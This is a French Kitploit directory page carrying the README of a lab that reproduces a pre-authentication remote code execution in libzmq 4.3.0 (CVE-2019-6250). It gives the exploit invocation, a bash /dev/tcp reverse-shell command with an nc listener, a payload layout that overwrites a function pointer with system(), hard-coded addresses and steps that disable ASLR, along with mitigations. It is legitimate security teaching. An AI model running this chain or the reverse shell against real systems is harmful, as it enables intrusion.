Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2019-6250-lab — Lab RCE de bout en bout avant authentification pour CVE-2019-6250 (libzmq <= 4.3.0, protocole filaire ZMTP/2.0) | Kitploit
Outils/GitHubGitHub/dinosn/cve-2019-6250-lab
Analyse des VulnérabilitésExploitationTests d'IntrusionApprentissage et ÉducationOutil d'Accès à DistanceDéveloppement de Charges UtilesExploitation de BinairesLabs et Pratique
GitHubdinosn/cve-2019-6250-lab

cve-2019-6250-lab

Lab RCE de bout en bout avant authentification pour CVE-2019-6250 (libzmq <= 4.3.0, protocole filaire ZMTP/2.0)

Voir le dépôt
il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2019-6250 — laboratoire RCE sans authentification préalable sur libzmq

CVE CVSS Affected License

Chaîne RCE complète et fonctionnelle + laboratoire reproductible pour CVE-2019-6250, le débordement de tas (heap-buffer-overflow) avant authentification dans v2_decoder_t::size_ready de libzmq. Un dépassement arithmétique de pointeur uint64_t permet à un pair non authentifié d'écraser le pointeur de fonction adjacent msg_t::content_t::ffn sur le chemin réseau ZMTP/2.0, puis de le déclencher via la fermeture de la socket TCP → ~v2_decoder_t() → _in_progress.close() → system(cmd).

Par Nicolas Krassas (@dinosn).

Usage laboratoire exclusivement. Ce kit fournit une libzmq 4.3.0 volontairement vulnérable. N'exposez pas le port 5555 hors du laboratoire. Le bug a été corrigé il y a sept ans dans libzmq 4.3.1 (commit 1a2ed127).


Démo

Chaîne system() — preuve par fichier

chaîne system

Reverse shell — root interactif

reverse shell

Test de fumée automatisé de bout en bout

test de fumée


TL;DR (Docker)

root@kitploit:~
docker build -t cve-2019-6250-lab .
docker run --rm -it --cap-add=SYS_ADMIN --security-opt seccomp=unconfined \
           -p 5555:5555 cve-2019-6250-lab

# inside the container:
/opt/zmq-rce/exploit.py 127.0.0.1 5555
ls -l /tmp/PWNED-CVE-2019-6250        # <-- created by the libzmq server process

TL;DR (bare metal — Debian 12 / Kali 2024.x / Ubuntu 22.04)

root@kitploit:~
sudo ./setup.sh                       # builds libzmq 4.3.0 + target, disables ASLR
sudo ./start_server.sh                # binds tcp://0.0.0.0:5555
./exploit.py 127.0.0.1 5555           # default cmd: touch /tmp/PWNED-CVE-2019-6250
ls -l /tmp/PWNED-CVE-2019-6250

Reverse shell

root@kitploit:~
# terminal 1 — listener
nc -lvnp 4444

# terminal 2 — fire the chain
./exploit.py 127.0.0.1 5555 'bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"'

Vous devriez voir quelque chose comme :

root@kitploit:~
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 55842
bash: cannot set terminal process group (1355844): Inappropriate ioctl for device
bash: no job control in this shell
root@host:/opt/zmq-rce#

La ligne cannot set terminal process group (1355844) confirme que le shell a été lancé par le processus cible libzmq (PID 1355844), et non par un élément que vous avez exécuté localement.


Structure du dépôt

root@kitploit:~
.
├── README.md             # you are here
├── server.c              # tiny PULL listener — the vulnerable target
├── exploit.py            # full RCE chain
├── setup.sh              # bare-metal provisioner (clones + builds libzmq 4.3.0)
├── start_server.sh       # start/restart the target
├── read_addresses.sh     # regenerate the address profile for a different image
├── run_lab_test.sh       # automated end-to-end smoke test (CI-friendly)
├── Dockerfile            # one-command containerised lab
└── screenshots/          # README screenshots (generated with charmbracelet/freeze)

Mécanique

1. Le bug

src/v2_decoder.cpp:117 (libzmq 4.3.0) :

root@kitploit:~
shared_message_memory_allocator &allocator = get_allocator ();
if (unlikely (!_zero_copy
              || ((unsigned char *) read_pos_ + msg_size_         //  <-- wraps
                  > (allocator.data () + allocator.size ())))) {
    rc = _in_progress.init_size (static_cast<size_t> (msg_size_));   // safe path
} else {
    rc = _in_progress.init (read_pos_, msg_size_, call_dec_ref,
                            allocator.buffer (), allocator.provide_content ());
    // zero-copy aliasing path — _in_progress.data() == read_pos_
}

msg_size_ est le uint64_t big-endian contrôlé par l'attaquant issu de l'en-tête de trame LARGE de ZMTP/2.0. Avec msg_size_ = 0xFFFFFFFFFFFFFFFF, la somme read_pos_ + msg_size_ reboucle modulo 2⁶⁴ et aboutit à une valeur inférieure au membre de droite. Le test de bornes est donc évalué à faux → l'exécution tombe dans le chemin zéro-copie → le message _in_progress partage le tampon de réception. Le décodeur demande alors au noyau 0xFFFFFFFFFFFFFFFF octets supplémentaires à read_pos_, et recv() écrit joyeusement notre charge utile au-delà de la fin du tampon de réception, dans le tableau adjacent content_t[] (alloué dans le même bloc malloc() à decoder_allocators.cpp:88).

2. La chaîne

root@kitploit:~
[ atomic_counter_t (refcnt) ]   8 bytes
[ recv buffer ]                 8192 bytes  ← bytes start landing at read_pos_+0
[ content_t [ _max_counters ] ] 249 × 40 = 9960 bytes
                                ↑ content_t[0] starts at read_pos_+8183

Nous envoyons 8224 octets de charge utile structurés ainsi :

Lorsque nous fermons la socket TCP, le ~v2_decoder_t() du serveur appelle _in_progress.close(). Dans msg_t::close :

root@kitploit:~
if (!(_u.zclmsg.flags & shared) || !content->refcnt.sub(1)) {
    content->ffn(content->data, content->hint);     //  -> system(cmd)
}

init_external_storage a défini _u.zclmsg.flags = 0, le raccourci OU prend donc immédiatement la branche — refcnt n'est même pas vérifié. Notre ffn écrasé s'exécute.

Pas de ROP, pas de shellcode, pas de fuite d'information : juste une résolution de symbole libc et une chaîne de commande intégrée.

3. Atteindre v2_decoder_t avant authentification

En regardant stream_engine.cpp:707 :

root@kitploit:~
bool zmq::stream_engine_t::handshake_v2_0 ()
{
    if (_session->zap_enabled ()) { error (...); return false; }
    _encoder = new v2_encoder_t (...);
    _decoder = new v2_decoder_t (...);     // <-- NO mechanism object
    return true;
}

Le chemin ZMTP/2.0 instancie v2_decoder_t sans mécanisme. Seul ZAP rejette les connexions 2.0, et ZAP est désactivé par défaut. Dès qu'un pair envoie le greeting ZMTP/2.0 de 12 octets (0xff + 8 zéros + 0x7f + révision 0x01 + type de socket), chaque octet suivant est analysé par v2_decoder_t. Pas d'authentification. Pas de handshake. Pas de machine à états de mécanisme.


Preuve ASAN

Optionnel : compilez avec -fsanitize=address et observez le rapport heap-buffer-overflow :

rapport asan

La mention 0 bytes after 18160-byte region confirme la taille du bloc que nous avons calculée : 8 (atomic_counter) + 8192 (tampon de réception) + 249 × 40 (tableau content_t) = 18160. Le site d'allocation à handshake_v2_0:719 confirme que le bug se déclenche sur le chemin ZMTP/2.0 avant authentification.


Pourquoi des adresses en dur

Avec kernel.randomize_va_space=0, la base de libc, la base de libzmq, le tas et l'arène malloc du thread I/O sont tous à des adresses déterministes. Le profil par défaut d'exploit.py (DEFAULT_PROFILE) a été capturé pour la compilation du laboratoire fourni (Debian 12 / Kali 2024.1 / glibc 2.38, libzmq 4.3.0 en mode release -O2) :

Pour porter sur une compilation glibc / libzmq différente, exécutez ./read_addresses.sh > profile.json après start_server.sh, puis passez --profile profile.json à l'exploit.

Dans une attaque réelle, il faudrait soit une primitive de fuite d'information, soit un appel one-gadget ne nécessitant pas de contrôle d'argument. Ces deux éléments sont hors du périmètre de ce laboratoire — l'objectif est ici de démontrer proprement le pipeline bug-vers-shell, et non de contourner l'ASLR.


Atténuations


Nettoyage

root@kitploit:~
sudo pkill -9 server-rce
sudo rm -f /tmp/PWNED-CVE-2019-6250
sudo sysctl -w kernel.randomize_va_space=2     # restore default ASLR

Références

  • HackerOne #477073 — divulgation originale (Guido Vranken).
  • zeromq/libzmq PR #3353 — le correctif d'une ligne.
  • zeromq/libzmq issue #3351 — discussion publique.
  • NVD CVE-2019-6250.
  • 37/ZMTP — spécification du protocole ZeroMQ Message Transport Protocol.
  • Analyse de SystemTek.

Auteur

Nicolas Krassas — @dinosn

Licence

MIT © Nicolas Krassas. Le code source de libzmq 4.3.0 volontairement vulnérable est récupéré au moment de la compilation depuis le dépôt amont LGPLv3-avec-exceptions / MPLv2 — sa licence s'applique séparément à ce code.

Avertissement

Pour la recherche en sécurité défensive, l'éducation et les tests de sécurité autorisés uniquement. Ne déployez pas la compilation vulnérable fournie en dehors d'un environnement de laboratoire isolé.

Télécharger l’outil
décalage de charge utileoctetsce qui est écrasé
[0:16]padding(dans le tampon de réception)
[16:K]chaîne de commande + NUL(dans le tampon de réception — argument de system)
[K:8183]padding(dans le tampon de réception)
[8183:8191]read_pos+16content_t[0].data (→ commande)
[8191:8199]0content_t[0].size
[8199:8207]&systemcontent_t[0].ffn (cible du flux de contrôle)
[8207:8215]0content_t[0].hint
[8215:8223]0content_t[0].refcnt
champvaleursource
libc_base0x7ffff7c00000/proc/<pid>/maps
system_off0x53910nm -D /lib/x86_64-linux-gnu/libc.so.6
read_pos0x7ffff000bbc1_buf + sizeof(atomic_counter_t) + 9
dist_to_content8183dérivé de la disposition
cmd_offset16emplacement de la commande dans la charge utile
DéfenseEffet
Mettre à niveau vers libzmq ≥ 4.3.1Corrigé. Le commit 1a2ed127 réécrit le test de bornes sous la forme msg_size_ > size_t(allocator.data()+size()-read_pos_) — aucun débordement possible.
zmq_setsockopt(s, ZMQ_MAXMSGSIZE, &n, sizeof(n)) avec n'importe quel n positifAtténue. Court-circuite le test de bornes défectueux avant qu'il ne puisse déborder.
Activer l'authentification ZAPBloque les connexions ZMTP/2.0 (rejetées à stream_engine.cpp:709). Ne corrige pas le bug ; empêche seulement le chemin non authentifié.
ASLRRalentit l'armement mais ne l'empêche pas — la primitive de la chaîne est elle-même inchangée.
Canaris de pile / NX / RELROAucune de ces protections n'empêche le détournement d'un pointeur de fonction sur le tas.